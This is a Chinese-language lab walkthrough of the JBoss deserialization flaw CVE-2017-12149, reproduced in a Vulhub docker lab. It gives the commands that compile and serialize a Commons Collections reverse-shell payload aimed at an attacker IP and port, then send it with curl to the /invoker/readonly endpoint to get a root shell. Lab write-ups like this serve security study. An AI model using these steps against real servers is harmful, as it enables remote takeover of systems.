一、漏洞原理

该漏洞为 Java反序列化类型，位于 Jboss 的 HttpInvoker 组件中ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化，导致攻击者可以通过精心设计的序列化数据来执行任意代码。

CVE-2017-12149漏洞影响版本： 5.X 及 6.X

docker-compose.yml情况

version: '2'
services:
  jboss:
    image: vulhub/jboss:as-6.1.0
    ports:
      - "9990:9990"
      - "8080:8080"

二、实验过程

基于Vulhub平台

靶机Ubuntu搭建docker。IP地址为：192.168.200.47

攻击机Kali。IP地址为：192.168.200.14

启动环境环境，打开靶场网址：IP地址:8080

方法一：使用 jboss CVE-2017-12149工具

github搜索即可开源工具很多

root权限下，执行任意命令

方法二：通过反弹sell获得root权限

1、下载漏洞利用的POC网址

https://github.com/joaomatosf/JavaDeserH2HC

2、编译并生成序列化数据，生成ReverseShellCommonsCollectionsHashMap.class文件（payload文件）

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

3、序列化恶意数据至文件，生成ReverseShellCommonsCollectionsHashMap.ser文件

java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 攻击机IP地址:监听端口

4、开启监听8899端口

5、把ReverseShellCommonsCollectionsHashMap.ser发送到靶机

curl http://靶机IP地址:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

6、反弹结果